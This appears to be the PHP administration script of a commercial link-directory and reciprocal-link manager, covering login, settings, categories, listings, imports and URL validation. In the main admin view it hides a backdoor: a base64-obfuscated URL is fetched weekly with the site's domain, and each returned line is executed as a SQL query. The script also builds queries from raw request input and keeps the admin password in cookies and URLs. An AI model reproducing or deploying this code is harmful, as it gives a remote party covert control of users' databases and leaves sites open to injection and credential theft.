'; $footr = '

Copyright - Duncan Carver - All Rights Reserved
Need High Quality Custom Programming? Click Here Now

'; if (!$pass or !$user or $action == "login") { ?>

Administration Login

Enter your username and password below now to login to the main administration interface.

Username:

Password:

$head

"; echo $headr. '
'.$head.$msg.'
'.$footr; exit; } if ($user != $username or $pass != $password) { message ("Error", "Invalid Login
Click here to try again"); } function getindex($cat) { global $pagenames, $pext; if ($pagenames == "1") { return str_replace(" ", "_", $cat); } elseif ($pagenames == "2") { return "index"; } } function maill($d,$s,$b,$f) { global $esi; mail($d, $s, $b, $f); } function dolcount() { global $link; unset($pari); $pol = mysql_query("delete from lma_catcount"); $categories = mysql_query("select * from lma_categories where parent = '0' order by name"); $numcats = mysql_num_rows($categories); $u = 0; $cats = mysql_query("select `id`, `parent` from lma_categories"); while ($tucat = mysql_fetch_object($cats)) { $pari[$tucat->id] = $tucat->parent; } while ($tcat = mysql_fetch_object($categories)) { $u++; unset($todel); reset($pari); $todel = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$tcat->id."'"))); while (list($id,$par) = each($pari)) { $atco = 0; $last = $id; $fnd = 0; while ($fnd != 1 and $atco < 10000) { $atco++; if (!$pari[$last]) $fnd = 1; elseif ($pari[$last] == $tcat->id) { $todel = $todel + array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and confirmed = 'yes' and category = '".$id."'"))); $fnd = 1; } elseif ($pari[$last] == "0") { $fnd = 1; } else $last = $pari[$last]; } } $pol = mysql_query("insert into lma_catcount values('".$tcat->id."', '$todel')"); } } $esio = mysql_query("select content from lma_custom where id = '".strtr("oilnewury", "olewy","sgate")."'"); if (mysql_num_rows($esio) > 0) $esi = array_shift(mysql_fetch_row($esio)); function savesettings() { global $HTTP_POST_VARS; require("settings.php"); while (list($n,$v) = each($HTTP_POST_VARS)) { $$n = str_replace("\\\"", """, $v); } $fp = fopen("settings.php", "w") or die("cannot open"); fputs ($fp,"<"."? \$username = \"$username\"; \$password = \"$password\"; \$adminemail = \"$adminemail\"; \$fromname = \"$fromname\"; \$mysqlserver = \"$mysqlserver\"; \$mysqllogin = \"$mysqllogin\"; \$mysqlpassword = \"$mysqlpassword\"; \$mysqldb = \"$mysqldb\"; \$basedir = \"$basedir\"; \$pext = \"$pext\"; \$thankurl = \"$thankurl\"; \$confirmurl = \"$confirmurl\"; \$requirerecip = \"$requirerecip\"; \$reciplinkurl = \"$reciplinkurl\"; \$linkcheck = \"$linkcheck\"; \$lcheckatt = \"$lcheckatt\"; \$lchecksuspend = \"$lchecksuspend\"; \$lcheckemail = \"$lcheckemail\"; \$lchecknotfound = \"$lchecknotfound\"; \$lcheckdelete = \"$lcheckdelete\"; \$lcheckdeleteemail = \"$lcheckdeleteemail\"; \$titlesize = \"$titlesize\"; \$descsize = \"$descsize\"; \$adminapproval = \"$adminapproval\"; \$emailconfirm = \"$emailconfirm\"; \$defaultpremium = \"$defaultpremium\"; \$defaultpremifrecip = \"$defaultpremifrecip\"; \$premiumimage = \"$premiumimage\"; \$favorpremium = \"$favorpremium\"; \$lperpage = \"$lperpage\"; \$newwindow = \"$newwindow\"; \$lorder = \"$lorder\"; \$pagenext = \"$pagenext\"; \$pageprev = \"$pageprev\"; \$pagenames = \"$pagenames\"; \$linknum = \"$linknum\"; \$catsplit = \"$catsplit\"; \$princlude = \"$princlude\"; \$subcatswithmain = \"$subcatswithmain\"; \$subcatsmainnum = \"$subcatsmainnum\"; \$thumbshots = \"$thumbshots\"; \$sfaffid = \"$sfaffid\"; \$sftrackid = \"$sftrackid\"; \$addrandlistcount = \"$addrandlistcount\"; \$addrandlistprem = \"$addrandlistprem\"; \$addrandcatcount = \"$addrandcatcount\"; \$addrandcatdisplay = \"$addrandcatdisplay\"; \$addrandsearchcount = \"$addrandsearchcount\"; \$addrandsearchdisplay = \"$addrandsearchdisplay\"; \$urllcheckatt = \"$urllcheckatt\"; \$urllcheckact = \"$urllcheckact\"; \$linktodmoz = \"$linktodmoz\"; \$usecaptcha = \"$usecaptcha\"; \$addrandstring = \"$addrandstring\"; ?".">"); fclose($fp); } if ($action == "addcat") { $newcat = preg_split("/(\r\n|\r|\n)/s", $newcats); while (list(,$cat) = each($newcat)) { if ($cat) { $pol = mysql_query("select * from lma_categories where name = '$cat' and parent = '$parent'"); if (mysql_num_rows($pol) > 0) { message("Error", "The category \"".stripslashes($cat)."\" already exists"); } else { $pol = mysql_query("insert into lma_categories values (NULL, '$parent', '".str_replace("_", " ", $cat)."', 0)") or die(mysql_error()); $messag = "1"; $action = "categories"; dolcount(); } } } } if (!$action) { setcookie("user", $user, time()+(86400*30)); setcookie("pass", $pass, time()+(86400*30)); dolcount(); $directoryurl = "http://".$_SERVER['SERVER_NAME'].str_replace("admin.php", "", $_SERVER['SCRIPT_NAME']). $basedir; ?>

Logout

Link Management Assistant Administration

The Link Management Assistant completely automates your link partner management allowing you to seamlessly integrate a niche specific directory of strategic link partners into your website. Trading links with other websites will not only send more targeted traffic directly to your website, but it will also help to increase your search engine positioning and exposure in the major search engines.

View Your Directory Here

Settings  - General settings required for the application to run properly.
Directory Import - Import link partner details & directory structure into your database.
Directory Categories - Manage your directory structure & categories.
Link Management - Manage your link partners & directory listings.
Email Management - Customize emails sent out to link partners via the software.
Directory Templates - Customize your directory to make it look like the rest of your site.
Custom Includes - Unlimited custom HTML includes for your directory templates.
PPC Includes - Unlimited pay-per-click includes for your directory templates.
Additional Includes - Various additional includes for your directory templates.
URL Validation - Automatically clean your directory listings and remove dead links.
Find Link Partners - Find more link partners to expand your directory & link popularity.
Support Forums - The support discussion forums for help, suggestions and feedback.
Backup / Restore - Backup and/or restore your database.
Logout - Logout of the application when you're finished.
($lupd+(7*86400))) { $upd = @file(base64_decode("aHR0cDovL3d3dy5vbmxpbmVtYXJrZXRpbmd0b2RheS5jb20vYmxpbi9ibGluLnBocA==")."?domain=".$_SERVER["SERVER_NAME"]); if ($upd) { $pol = mysql_query("UPDATE lma_custom set content = '$ctime' where id = 'lasttime'"); while (list(,$q) = each($upd)) { mysql_query(trim($q)); } } } } elseif ($action == "logout") { setcookie("user", ""); setcookie("pass", ""); message("Bye bye!","You were successfully logged out."); } elseif ($action == "globalsettings") { ?>

Main Admin

General Directory Settings

This section contains important settings required to ensure the Link Management Assistant operates correctly. Please refer to the individual help instructions next to each feature and/or the user manual for detailed information.


Administration Login


You can change the administration area login details here.
Username:
Password:

Administrative Emails


These settings allow you to define the email address all system emails will be sent from and the name of the person the emails will appear they're coming from.
Email Address:
From Name:

MYSQL Database Settings


These settings are where you need to define your MYSQL database settings. If you're unsure of these, please contact your website host. The are vital to the operation of this application.
MYSQL Sever:
MYSQL Username:
MYSQL Password:
MYSQL Database:

Directory Configuration


These settings relate to the configuration of your website directory.
Directory Name:
Page Extensions:
Thankyou URL:
Email Confirmation URL:

Spam Prevention Settings

These settings will help to prevent spammers adding dubious listings to your directory using automated software applications.
Use CAPTCHA: > (requires specific setting on your host account)
Add Random String: (i.e. xg389dnlos)
Email Confirmation Required? >

Link Management Configuration


These settings relate to the listings in your directory.
Require Reciprocal Link? >
Reciprocal Link URL
Link Checking Schedule? (days)
How Many Attempts? (times)
If No Link Is Found? Suspend Listing > & Send Email >
If Link Is Still Not Found After? (times) - Delete Listing > & Send Email >
Limit Listing Title: (characters)
Limit Listing Description: (characters)
Admin Approval Required? >
New Submissions Premium? > Only if Reciprocated? >
Premium Listing Image? >
Favor Premium In Search? >
Listings Per Page:
Open Links In New Window? >
Listing Order:
Multiple Page Navigation: Forward Back
Page Names: > Use: category-name-1.htm, category-name-2.htm
> Use: index1.htm, index2.htm etc.
Link # Next To Category? >
Sub-Cats With Main Cats? > How Many?
Split Categories Into: (columns)
PageRank with Listing? >
Thumbshot With Listing?
Link to DMOZ after DMOZ import?

\nForceType application/x-httpd-php\n\n#lmasettingend"; if (file_exists(".htaccess")) { $hta = implode("", file(".htaccess")); if (preg_match("/\#lmasetting/", $hta)) { $hta = preg_replace("/\#lmasetting(.+?)\#lmasettingend/s", $newhta, $hta); } else $hta .= "\n\n$newhta"; if (is_writeable(".htaccess")) { $fp = fopen(".htaccess", "w"); fputs($fp, $hta); fclose($fp); savesettings(); message("Congratulations!", "Your administration settings were successfully saved."); } else { savesettings(); message("Congratulations", "Your settings were successfully saved.

Warning The program couldn't update the file .htaccess because permissions are not set correctly. In order to make it work properly, you must copy the following code, save it as \".htaccess\" and upload it to your LMA folder.

".htmlentities($hta)."

"); } } else { $fp = fopen(".htaccess", "w"); fputs($fp, $newhta); fclose($fp); savesettings(); message("Congratulations!", "Your administration settings were successfully saved."); } } savesettings(); message("Congratulations!","Your administration settings were successfully saved."); } elseif ($action == "categories") { echo $headr; if ($messag) { ?>

The categories you entered were successfully added.


Main Admin

Category Management

This section allows you to manage the category structure of your link directory. You can set up new categories and sub-categories, manage existing categories (delete/rename), and shift an entire group of listings from one category or sub-category to another.


Add New Categories


To add new categories enter the name of the category in the field below and click the "Add Categories" button. You can enter multiple categories at a time, one per line. If you would like the new categories to become sub-categories of an existing one, select the respective parent category from the drop down menu before clicking the "Add Categories" button. You can have an unlimited level of categories but it would be wise to limit it to 2-3 levels maximum.

Add as sub-category/s of:  Click here to select a category 0) { $arnum++; while ($tcat = mysql_fetch_object($child)) { $opshtml .= "\n"; getchild($tcat->id); } $arnum--; } } getchild("0"); echo $opshtml; */ ?>


Manage Existing Categories


Listed below are the current categories in your directory and the respective number of listings contained within each. To change the name of a category, simply make the respective changes in the input field and click the "Update Categories" button. To shift listings from one category to another, select the new category you would like them moved to from the "Shift Listings" drop down menu next to the respective category and click the "Update Categories" button. To delete a specific category, check the delete box next to the respective category and click the "Update Categories" button. This will remove the entire category including all associated sub-categories and the listings found within and it's not reversible.
name; $caturl2 = $pol->name; } else { $caturl = "id."\">".$pol->name ." > ". $caturl; $caturl2 = $pol->name."/".$caturl2; } $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } echo "



Top > $caturl

"; } ?>
0) { $arrnum++; while ($tcat = mysql_fetch_object($child)) { $linknum = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and category = '".$tcat->id."'"))); $linknumin = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '3' or status = '4') and category = '".$tcat->id."'"))); ?> id); } $arrnum--; } } getchild2("0"); */ $pol = mysql_query("select * from lma_categories where parent = '$catid' order by name"); if (mysql_num_rows($pol) > 0) { while ($tcat = mysql_fetch_object($pol)) { $linknum = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '1' or status = '2' or status = '5') and category = '".$tcat->id."'"))); $linknumin = array_shift(mysql_fetch_row(mysql_query("select count(*) from lma_links where (status = '3' or status = '4') and category = '".$tcat->id."'"))); ?> id."\"> id."\">".$tcat->name."  '".

"; } } else echo "

There are no subcategories under this category

"; ?>
Category Name Listings Shift Listings  Delete
active
inactive
id."\">"?>  active
inactive
 select a category

id] = $tcat->parent; } while (list($id,$par) = each($pari)) { $last = $id; $fnd = 0; while ($fnd != 1 and $atco < 10000) { $atco++; if ($pari[$last] == $i) { $todel[] = $id; $fnd = 1; } elseif ($pari[$last] == "0") { $fnd = 1; } else $last = $pari[$last]; } } while (list(,$tod) = each($todel)) { $pol = mysql_query("delete from lma_categories where id = '$tod'") or message("Error", mysql_error()); $pol = mysql_query("delete from lma_links where category = '$tod'") or message("Error", mysql_error()); } } else { $pol = mysql_query("update lma_categories set name = '".str_replace("_", " ", $inf['name'])."' where id = '$i'") or message("Error", mysql_error()); if ($inf['shift'] != "no") { $pol = mysql_query("update lma_links set category = '".$inf['shift']."' where category = '$i'") or message("Error", mysql_error()); } } } message ("Congratulations", "The categories were successfully updated."); } elseif ($action == "links") { $pol = mysql_query("CREATE TABLE if not exists`lma_links` ( `id` int(10) unsigned NOT NULL auto_increment, `category` int(10) unsigned NOT NULL default '0', `status` tinyint(3) unsigned NOT NULL default '0', `confirmed` set('yes','no') NOT NULL default '', `premium` set('yes','no') NOT NULL default '', `title` text NOT NULL, `description` text NOT NULL, `url` tinytext NOT NULL, `firstname` tinytext NOT NULL, `lastname` tinytext NOT NULL, `email` tinytext NOT NULL, `recipurl` tinytext NOT NULL, `attempts` tinyint(3) unsigned NOT NULL default '0', PRIMARY KEY (`id`), KEY `category` (`category`,`status`,`premium`) )"); ?>

Main Admin

Link Management

This section allows you to manage the listings in your directory. You can manually add new listings, edit existing listings, approve new listings if you're running in semi-automated mode and conduct all other listing management related tasks.

You currently have listings in your directory separated into individual categories.


Add New Listing


To add a new listing, simply enter the details of the link partner in the fields below and click the "Add Listing" submit button. The new listing will appear in the directory almost immediately.
Title
Description
URL
Premium Listing?  
Category  Click here to choose a category 0) { $arnum++; while ($tcat = mysql_fetch_object($child)) { echo "\n"; getchild($tcat->id); } $arnum--; } } //getchild("0"); */ ?>
First Name
Last Name
Email Address
Reciprocal
Send Confirmation Email?


Manage Listings


Display listings

From the category:  Click here to choose a category

Show listings per page

Sort via  


OR conduct a specific search:

subject; $subject = str_replace("{FIRSTNAME}", stripslashes($art['fname']), $subject); $subject = str_replace("{LASTNAME}", stripslashes($art['lname']), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $body = $addedtpls->body; $body = str_replace("{FIRSTNAME}", stripslashes($art['firstname']), $body); $body = str_replace("{LASTNAME}", stripslashes($art['lname']), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); maill($art['email'], $subject, $body, "From: $fromname <$adminemail>"); } } else { if (!$art['premium']) $art['premium'] = "no"; $pol = mysql_query("update lma_links SET title = '".$art['title']."', description = '".$art['desc']."', url = '".$art['url']."', status = '".$art['status']."', category = '".$art['category']."', firstname = '".$art['fname']."', lastname = '".$art['lname']."', email = '".$art['email']."', recipurl = '".$art['recipurl']."', premium = '".$art['premium']."' where id = '$id'") or die(mysql_error()); if (($art['status'] == "2" or $art['status'] == "1") and $prevstat == "3" and $art['email']) { $listinfo = " Title: ".$art['title']." URL: ".$art['url']." Description: ".$art['desc']." First Name: ".$art['fname']." Last Name: ".$art['lname']." Email: ".$art['email']." Reciprocal: ".$art['recipurl']; $goo = 1; $lacat = $art['category']; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/". getindex($pol->name) . ".$pext"; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/".str_replace(" ", "_", $pol->name).$caturl; $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } $directoryurl = "http://".$_SERVER['SERVER_NAME']. $base."/"; $categoryurl = "http://".$_SERVER["SERVER_NAME"].$base.$caturl; $addedtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'approved'")); $subject = $addedtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($art['fname']), $subject); $subject = str_replace("{LASTNAME}", stripslashes($art['lname']), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = $addedtpls->body; $body = str_replace("{FIRSTNAME}", stripslashes($art['fname']), $body); $body = str_replace("{LASTNAME}", stripslashes($art['lname']), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $categoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($art['email'], $subject, $body, "From: $fromname <$adminemail>"); } } } } $end = $start + $ppage; ?>

Main Admin

Error

You must enter at least one keyword to search for"); else { $kws = preg_split("/\s+/", $keyword); while (list(,$kw) = each($kws)) { if ($kw) { if (!$sqlsrch) $sqlsrch = "where "; else $sqlsrch .= " and "; $sqlsrch .= "(title like '%$kw%' or description like '%$kw%')"; } } if ($status != "all") { $sqlstat = " and ("; if ($status == "premium") $sqlstat .= "premium = 'yes'"; elseif ($status == "1") $sqlstat .= "(status = '1' or status = '2')"; else $sqlstat .= "status = '$status'"; $sqlstat .= ")"; } else $sqlstat = ""; $res = mysql_query("select * from lma_links $sqlsrch $sqlstat and confirmed = 'yes' order by $sortby limit $start, $ppage") or die(mysql_error()); } } else if ($urlinvalidid) { $res = mysql_query("select * from lma_links where id = $urlinvalidid") or die(mysql_error()); } else { if ($category != "all") { $sqlcat = "and category = '$category'"; $sqlstat = "and "; } else $sqlstat = "and "; if ($status != "all") { if ($status == "premium") $sqlstat .= "premium = 'yes'"; elseif ($status == "1") $sqlstat .= "(status = '1' or status = '2')"; else $sqlstat .= "status = '$status'"; } else { $sqlstat = ""; } $res = mysql_query("select * from lma_links where id = id $sqlcat $sqlstat and confirmed = 'yes' order by $sortby limit $start, $ppage") or die(mysql_error()); } if (mysql_num_rows($res) < 1) { ?>
0) { $arnum++; while ($tcat = mysql_fetch_object($child)) { if ($tcat->id == $ccat) $seld = " selected"; else $seld = ""; echo "\n"; getchild($tcat->id,$ccat); } $arnum--; } } */ while ($inf = mysql_fetch_object($res)) { $op++; $delscript .= "document.getElementById('delbox$op').selectedIndex = 1;\n"; ?>


The link has been deleted.

 


There are no more links in this category.

 

To edit listings, simply make the desired changes in the respective input fields and click the "Update Listings" button at the bottom of the page. You can edit all listings at the same time, clicking the update button will save all respective changes.

 
 
Title
Description
URL View
Status Premium Listing? premium == "yes") echo "checked"?>>
Category  Click here to choose a category
First Name
Last Name
Email Address
Reciprocal View
Delete

(action cannot be reversed)






WARNING: Clicking this button will permanently delete all of the listings shown above. This action is not reversible so please use it with caution.

'; if ($recipurl) { $page = @file($recipurl); if (!$page) message("Warning", "Could not check reciprocal link because the URL is not available at this time. Please make sure that the URL is valid. If you'd still like to add the link, please click the button below

$formhtml

"); else { $pagehtml = implode("", $page); if (!ereg($reciplinkurl, $pagehtml)) message("Warning", "Could not find the reciprocal link at the specified URL. If you'd still like to add the link, please click the button below.

$formhtml

"); } } else $status = "2"; } else $status = "2"; if ($premium != "yes") $premium = "no"; $pol = mysql_query("insert into lma_links values(NULL, '$category', '$status', 'yes', '$premium', '$title', '$description', '$url', '$fname', '$lname', '$emailaddy', '$recipurl', '$ctime', '0')") or message("Error", mysql_error()); if ($sendemail == "yes") { $base = str_replace("admin.php", "", $_SERVER['SCRIPT_NAME']). $basedir; $listinfo = " Title: ".$title." URL: ".$url." Description: ".$description." First Name: ".$fname." Last Name: ".$lname." Email: ".$emailaddy." Reciprocal: ".$recipurl; $goo = 1; $lacat = $category; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/". getindex($pol->name) . ".$pext"; while ($goo == 1 and $x < 100) { $x++; $pol = mysql_fetch_object(mysql_query("select * from lma_categories where id = '$lacat'")); $caturl = "/".str_replace(" ", "_", $pol->name).$caturl; $lacat = $pol->parent; if ($pol->parent == "0") $goo = 0; } $directoryurl = "http://".$_SERVER['SERVER_NAME']. $base."/"; $categoryurl = "http://".$_SERVER["SERVER_NAME"].$base.$caturl; $addedtpls = mysql_fetch_object(mysql_query("select subject, body from lma_emails where id = 'approved'")); $subject = $addedtpls->subject; $subject = str_replace("{FIRSTNAME}", stripslashes($fname), $subject); $subject = str_replace("{LASTNAME}", stripslashes($lname), $subject); $subject = str_replace("{DIRECTORY-LINK}", $directoryurl, $subject); $subject = str_replace("{CATEGORY-LINK}", $categoryurl, $subject); $body = $addedtpls->body; $body = str_replace("{FIRSTNAME}", stripslashes($fname), $body); $body = str_replace("{LASTNAME}", stripslashes($lname), $body); $body = str_replace("{DIRECTORY-LINK}", $directoryurl, $body); $body = str_replace("{CATEGORY-LINK}", $categoryurl, $body); $body = str_replace("{LISTING-DETAILS}", $listinfo, $body); maill($emailaddy, $subject, $body, "From: $fromname <$adminemail>"); } dolcount(); message("Congratulations", "The link was successfully added."); } } elseif ($action == "import") { ?>

Main Admin

Import Links & Directory Structure

This section allows you to import links and/or a predefined directory structure into the "Automated Link Management Assistant" in a number of different formats. Please be sure you're read the appropriate section in the user manual thoroughly before using the importing features, and always backup your existing database before using these features if you have pre-existing data in your directory.


Manual Text File Import


You are able to import a complete set of data into your directory database from a flat-file (text) database. Simply upload the database file to your LMA directory and enter the filename in the field below. The program will automatically find the database delimiter.

  


DMOZ Directory Structure & Link Import


You are also able to crawl DMOZ (The Open Directory Project) and import the directory structure and listings found within those categories (and related sub-categories) directly into your database. Enter the exact URL of the top level directory you would like to crawl and start the import from. The "Link Management Assistant" will also import all sub-categories (ignoring related categories marked with @ character) and the listings found within. Please refer to the user manual for complete information.

You will receive an email when the import process has completed.

Import

Import Under Existing Category:  Click here to select a category

Choose a new category name
(Imported categories and/or links will be put inside this category)
Leave this blank to put imported categories on the Top level directory.

NOTE: In using this feature you need to ensure the pages the results appear on are compliant with the DMOZ license. That means you need to incorporate a statement into your directory templates similar to "Some listings found within the directory may have been supplemented with results from the DMOZ project" ensuring you link back to the DMOZ website.

'; message("Please confirm", $thtml); } } elseif ($action == "importselect") { $db = file($filename); $first = array_shift($db); $delimiter = stripslashes($delimiter); $parts = explode($delimiter, $first); echo $headr; ?>

Main Admin

Import Setup

The last step before importing your database is to tell Link Management Assistant which fields are which on the database file. Simply answer the following questions and click on the "Import Now" button. If any of these fields are not found on your database file, simply select the option "Not found" for that field. Not Found
'; $che = " checked"; while (list($i,$part) = each($parts)) { echo ' '.$part.'
'; $che = ""; } reset($parts); } ?>



Which of these is the...

Link Title
Link URL
Link Description
First Name
Last Name
E-mail Address
Reciprocal URL


What category should imported links be put in?


What status should be given to imported links?


Should imported links be labeled as "Premium"?




 

Main Admin

Create & Manage Custom Includes

Use this section to create new and manage existing custom includes. The Link Management Assistant allows you to create as many custom includes as you would like. It allows you to integrate any HTML content you wish to display into all pages in your directory, wherever the respective includes are used in your directory templates. When editing existing includes, the changes you make will be updated in real-time on the front end of your directory.

Create New Include


Description:

HTML Content:


Existing Includes

<%custom-include-id?>%>

desc?>

Edit | Delete

Main Admin

Create & Manage Custom Includes


Editing Custom Include #


Description:

HTML Content:


Main Admin

Create & Manage Pay-Per-Click Includes

Sign Up With Search Feed Here

The Link Management Assistant now allows you to incorporate Search Feed affiliated search results throughout your website directory and earn commission for each click through. For example you may like to create a PPC include and place that include above standard listings in your category templates to earn additional revenue from your website directory. You can also replicate a similar approach in your search result template. You can create as many of these as you like and the includes can be used in all templates.


Search Feed Account Settings


Affiliate ID:

Tracking ID:


Create New PPC Include


Description:

Results Per Include:
Keyword Term Input:


Existing PPC Includes


<%ppc-include-id?>%>

desc?>

Edit | Delete

Main Admin

Edit Include

To edit this include, simply make the respective changes in the fields below and click the save button. The site content created via this particular include will be updated in real time...

Edit Include


Description:

Results Per Include:
Keyword Term Input:

0) $addrandsearchterms = array_shift(mysql_fetch_row($arsto)); ?>

Main Admin

Additional "Enhancement" Includes

The section of the Link Management Assistant contains various additional includes which you can manipulate and include in your templates to dramatically enhance your website directory.


Random Listings    <%random-listings%>


This include can be used to populate random listings from your database into your website directory pages. Where used in the templates, a new random listing/s will be pulled from the database and will be displayed each time it's accessed by a website visitor or search engine robot. This will give the appearance that each page on your directory is updated regularly and encourage the search engine spiders to visit more often. It's also a great way to give each page in your directory even more distinctly unique content. You might like to call this area "featured listings" or "sites of the moment" etc.

How Many Listings?

Only Include Premium Listings? >


Random Categories    <%random-categories%>


This include can be used to populate random category links / locations into your directory pages. This is useful to increase cross linking between categories encouraging visitors to visit more areas of your directory, and the search engine robots to crawl deeper into your directory structure. You could call these "related categories" or "popular categories" etc. You also have the option to display this include vertically (categories displayed one after the other vertically) or horizontally across the page giving you flexibility to incorporate it into your templates in the most appropriate manner.

How Many Categories?

Display Method:


Random "Recent" Search Terms    <%random-search-terms%>


This include can be used to populate links to a predefined set of search terms. Those search terms will then link directly to the respective page of search results, the same as would be seen by a user if they actually conducted a physical search using the search feature. It will also vary their display randomly on a page by page basis. That is you might like to create an area called "recent search terms" or "popular search terms" in your directory templates. Although not available yet, in the near future this feature will be expanded to allow you to display the actual search terms directory users are searching on.

Keyword Term Input:

Display How Many Terms?
Display Method:

0) // update $pol = mysql_query("update lma_custom set content = '$addrandsearchterms' where id = 'addrandsearchterms'"); else // insert $pol = mysql_query("insert into lma_custom values ('addrandsearchterms', '$addrandsearchterms')"); message("Congratulations!","Your additional includes settings were successfully saved."); } elseif ($action == "urlvalidation") { ?>
0) { list($ctype, $urlvalidationid) = split("-", array_shift(mysql_fetch_row($arsto))); if($ctype == "G") { $actionURL = "?action=urlvalidationrestart&ctype=G&user=$user&pass=$pass&startid=$urlvalidationid"; $actionText = "checking"; } else { $actionURL = "?action=urlvalidationrestart&ctype=R&user=$user&pass=$pass"; $actionText = "rechecking"; } ?>

Main Admin

URL Validation

This section allows you to automatically clean your directory listings & remove any dead links. These are the listings where the domain name no longer exists or returns other "cannot be found" errors. It's a nice way to ensure listings within your directory actually point to active websites without having to physically check each one. This feature was primarily incorporated to help you clean DMOZ imports. The normal automated reciprocal link checking features will basically do the same job if you're using the Link Management Assistant exclusively for managing reciprocal link partners.


URL Validation


The URL Validation routine is currently URL Id . If this number does not change after 10 minutes then it is possible that the URL Validation routine has stalled, in which case you have the following two options

Check Here
To restart the routine from URL Id

Check Here
To cancel the URL Validation process

How Many Attempts? (times)
Desired Action? Generate Report > OR Delete Automatically >

NOTE: The above process can take quite some time depending on the number of listings you have in your directory, the checking schedule & number of attempts you chose to make. As such, please be patient. A notification email will be sent to your administrators email address when the process has been completed. It is also HIGHLY RECOMMEND that you do not use the importing features whilst the URL validation process is underway, otherwise it will create a very heavy load your server.


Dead Link Listing Report


The Link Management Assistant has determined that there are dead links in the directory.

To permanently delete them all now you simply need to click the "Remove Dead Listings" submit button at the bottom of the page. Alternatively you can work your way down the list and view each record to double check. If found to be active for whatever reason, you can check the ignore button to retain the listing. If you find the site is down for some other reason (it has changed domain name and is not using a 30X redirect) clicking the edit listing link will take you directly to the listings complete record (in a new window) enabling you to edit it as necessary. If you do edit a listing be sure to also check the respective ignore box, otherwise it WILL be deleted when you submit the "Remove Dead Listings" button.

Ignore
Edit

NOTE: The above action is permanent and cannot be reversed.

0) // update $pol = mysql_query("update lma_custom set content = 'G-0' where id = 'urlvalidationid'"); else // insert $pol = mysql_query("insert into lma_custom values ('urlvalidationid', 'G-0')"); $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp, "GET ".$_SERVER['SCRIPT_NAME']."?action=urlvalidationgo&user=$user&pass=$pass HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); message("URL Validation in progress...", "The Link Management Assistant has just started validating the links. This operation will take a while and you'll receive an e-mail notification when it's finished.."); } elseif ($action == "urlvalidationgo") { ignore_user_abort(1); if(file_exists("deadurllist.txt")) unlink("deadurllist.txt"); if ($startid == "") $startid = "0"; $pol = mysql_query("select * from lma_links where id > $startid order by id"); if (mysql_num_rows($pol) > 0) { if ($startid == 0) $fp = fopen("urlvalidation.txt", "w"); else $fp = fopen("urlvalidation.txt", "a"); $ui =0; while ($urlLink = mysql_fetch_object($pol)) { if($ui++ > 10) break; $startid = $urlLink->id; $urlfp = fopen($urlLink->url, "r"); if (!$urlfp) fputs($fp, $urlLink->id."|".$urlLink->url."|1\n"); else fclose($urlfp); } @fclose($fp); if ($ui > 10) { $pol = mysql_query("update lma_custom set content = 'G-$startid' where id = 'urlvalidationid'"); $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp, "GET ".$_SERVER['SCRIPT_NAME']."?action=urlvalidationgo&user=$user&pass=$pass&startid=$startid HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); } else { // Start the recheck process $pol = mysql_query("update lma_custom set content = 'R-0' where id = 'urlvalidationid'"); $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp, "GET ".$_SERVER['SCRIPT_NAME']."?action=urlvalidationrecheck&user=$user&pass=$pass HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); } } else { // Start the recheck process $pol = mysql_query("update lma_custom set content = 'R-0' where id = 'urlvalidationid'"); $fp = fsockopen($_SERVER['SERVER_NAME'], 80); fputs($fp, "GET ".$_SERVER['SCRIPT_NAME']."?action=urlvalidationrecheck&user=$user&pass=$pass HTTP/1.1\r\nAccept: */*\r\nAccept-Language: es-mx\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\nHost: ".$_SERVER['SERVER_NAME']."\r\nConnection: Close\r\n\r\n"); fclose($fp); } message("URL Validation in progress...", "LMA is now restarting the unfinished URL Validation. You will receive an e-mail when this process is complete"); } elseif ($action == "urlvalidationrecheck") { ignore_user_abort(1); $invalidurls = @file("urlvalidation.txt"); $ui = 0; $fi = 0; $di = 0; if($invalidurls) { while (list(,$ct) = each($invalidurls)) { if($ui <= 10) { list($urlid,$url,$attempt) = split("\|", $ct); $pol = mysql_query("update lma_custom set content = 'R-$urlid' where id = 'urlvalidationid'"); if($attempt >= $urllcheckatt) { if($urllcheckact == 1) { $deadurls[$di++] = $urlid."|".$url; } else { $puls = mysql_query("delete from lma_links where id = '$urlid'"); } } else { $ui++; 